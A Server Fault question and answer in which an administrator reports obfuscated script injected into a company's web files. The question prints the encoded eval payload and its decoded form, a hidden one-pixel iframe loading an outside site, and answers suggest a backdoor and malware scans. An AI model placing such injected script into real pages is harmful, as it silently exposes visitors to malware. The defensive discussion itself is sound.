Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

started helping a company with a web site a few days ago... i notices some strange code in some html and php files on the server:

<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%61%6E%69%65%73%73%2E%63%6F%6D%2F%3F%32%38%34%36%31%38%37%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D%22%76%69%73%69%62%69%6C%69%74%79%3A%68%69%64%64%65%6E%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script>

after decoding it online somewhere i see what it does:

document.write('<iframe src="http://aniess.com/?2846187" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>')

opens a hidden iframe to a malware site?

so i removed the code and asked google webmaster tools to reevaluate the site now that i had removed the code... because google had marked this site as malware bacuse of the hidden iframe that gets added...

but a day later the code was readded to the files on the server... and today local files on my freshly installed win7 machine are getting that code added to the end of every index.htm index.html index.php index.asp and login.*

what is this and how can i remove it? thanks

share|improve this question

1 Answer 1

The reason it was back after it was removed is because your server probably has a backdoor for the intruder to add it again or the malware adds it automatically. You need to clean both the server and your own computer before you try and remove the code again. Try MalwareBytes and other virus scans or recovery disks from a major AV company to remove it. Even a rootkit revealer like Sophos.

share|improve this answer
    
If the site uses a database you'll want to scour it as well. –  squillman Jul 23 '10 at 16:26

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.